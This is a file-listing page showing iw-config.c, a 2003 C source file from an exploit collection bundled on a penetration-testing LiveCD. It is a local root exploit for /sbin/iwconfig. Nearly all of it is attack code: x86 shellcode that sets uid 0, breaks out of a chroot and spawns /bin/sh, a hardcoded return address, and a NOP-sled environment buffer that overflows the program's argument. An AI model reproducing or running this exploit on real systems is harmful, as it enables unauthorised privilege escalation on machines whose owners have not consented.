home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / local / iw-config.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  45 lines

  1. /*
  2.   Name: iw-config.c
  3.   Copyright: !sh2k+!tc2k
  4.   Author: heka
  5.   Date: 11/11/2003
  6.   Greets: bx, pintos, eksol, hex, keyhook, grass, toolman, rD, shellcode, dunric, termid, kewlcat, JiNKS
  7.   Description: /sbin/iwconfig - local root exploit
  8.   iwconfig manipulate the basic wireless parameters
  9.  
  10. */
  11.  
  12. #include <stdio.h>
  13.  
  14. #define BIN     "/sbin/iwconfig"
  15.  
  16. unsigned char shellcode[] =
  17.                   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
  18.                   "\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
  19.                   "\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
  20.                   "\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
  21.                   "\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
  22.                   "\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
  23.                   "\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
  24.                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
  25.                   "\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";
  26.  
  27. int
  28. main ()
  29. {
  30.    int x;
  31.    char buf[97], out[1337], *buffer;
  32.    unsigned long ret_add = 0xbffffbb8, *add_ptr ;
  33.    buffer = buf;
  34.    add_ptr = (long *)buffer;
  35.    for (x=0; x<97-1; x+=4)
  36.    *(add_ptr++)=ret_add;
  37.    memset ((char *)out, 0x90, 1337);
  38.    memcpy ((char *)out + 333, shellcode, strlen(shellcode));
  39.    memcpy((char *)out, "OUT=", 4);
  40.    putenv(out);
  41.    execl (BIN, BIN, buf, NULL);
  42.    return 0;
  43. }
  44.  
  45.